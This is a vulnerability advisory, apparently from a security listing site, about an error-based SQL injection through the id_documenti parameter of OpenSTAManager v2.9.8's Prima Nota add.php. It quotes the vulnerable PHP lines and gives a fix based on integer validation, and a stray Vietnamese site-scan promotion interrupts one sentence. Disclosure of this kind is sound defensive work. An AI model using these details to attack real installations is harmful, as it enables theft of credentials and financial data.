Critical Error-Based SQL Injection vulnerability in the Prima Nota (Journal Entry) module of OpenSTAManager v2.9.8 allows authenticated attackers to extract complete database contents including user credentials, customer PII, and financial records through XML error messages by injecting malicious SQL into URL parameters.
Status: ✅ Confirmed and tested on live instance (v2.9.8)
Vulnerable Parameters: id_documenti (GET parameters)
Affected Endpoint: /modules/primanota/add.php
Attack Type: Error-Based SQL Injection (IN clause)
OpenSTAManager v2.9.8 contains a critical Error-Based SQL Injection vulnerability in the Prima Nota (Journal Entry) module's add.php file. The application fails to validate that comma-separated values from GET parameters are integers before using them in SQL IN() clauses, allowing attackers to inject arbitrary SQL commands and extract sensitive data through XPATH error messages.
Vulnerability Chain:
Entry Point: /modules/primanota/add.php (Lines 63-67)
$id_documenti = $id_documenti ?: get('id_documenti');
$id_documenti = $id_documenti ? explode(',', (string) $id_documenti) : [];
Impact: The get() function retrieves user-controlled URL parameters, explode(',', (string) ...) splits them by comma, but NO validation ensures elements are integers.
SQL Injection Point: /modules/primanota/add.php (Line 306)
$id_anagrafica = $dbo->fetchOne('SELECT idanagrafica FROM co_documenti WHERE id IN('.($id_documenti ? implode(',', $id_documenti) : 0).')')['idanagrafica'];
Impact: Array elements from $id_documenti are directly concatenated using implode() without type validation or prepare(), enabling full SQL injection.
Root Cause Analysis:
The vulnerability exists because:
get('id_documenti') return user-controlled stringsexplode(',', (string) $value) splits by comma but doesn't validate typesimplode(',', $array) concatenates array elements directly into SQLBạn đang dùng một trong các sản phẩm này? Quét site để biết có đang lộ phiên bản có lỗ hổng không.

Primary Fix - Type Validation:
File: /modules/primanota/add.php
BEFORE (Vulnerable - Lines 63-67):
$id_documenti = $id_documenti ?: get('id_documenti');
$id_documenti = $id_documenti ? explode(',', (string) $id_documenti) : [];
AFTER (Fixed):
$id_documenti = $id_documenti ?: get('id_documenti');
$id_documenti = $id_documenti ? explode(',', (string) $id_documenti) : [];
// Validate that all array elements are integers
$id_documenti = array_map('intval', $id_documenti);
$id_documenti = array_filter($id_documenti, fn($id) => $id > 0); // Remove zero/negative IDs
